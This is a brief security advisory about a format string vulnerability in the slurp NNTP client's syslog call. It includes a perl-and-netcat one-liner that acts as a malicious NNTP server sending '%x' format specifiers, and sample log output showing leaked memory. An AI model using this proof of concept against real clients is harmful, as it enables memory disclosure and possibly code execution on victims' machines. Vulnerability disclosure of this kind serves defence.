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721 B
Text
11 lines
No EOL
721 B
Text
source: https://www.securityfocus.com/bid/4935/info
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slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.
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It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.
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perl -e 'print "200 Hello brother \n666 %x%x%x\n'" | nc -l -p 119
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Then check /var/log/messages for something like:
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Jun 5 05:10:22 yada slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c' |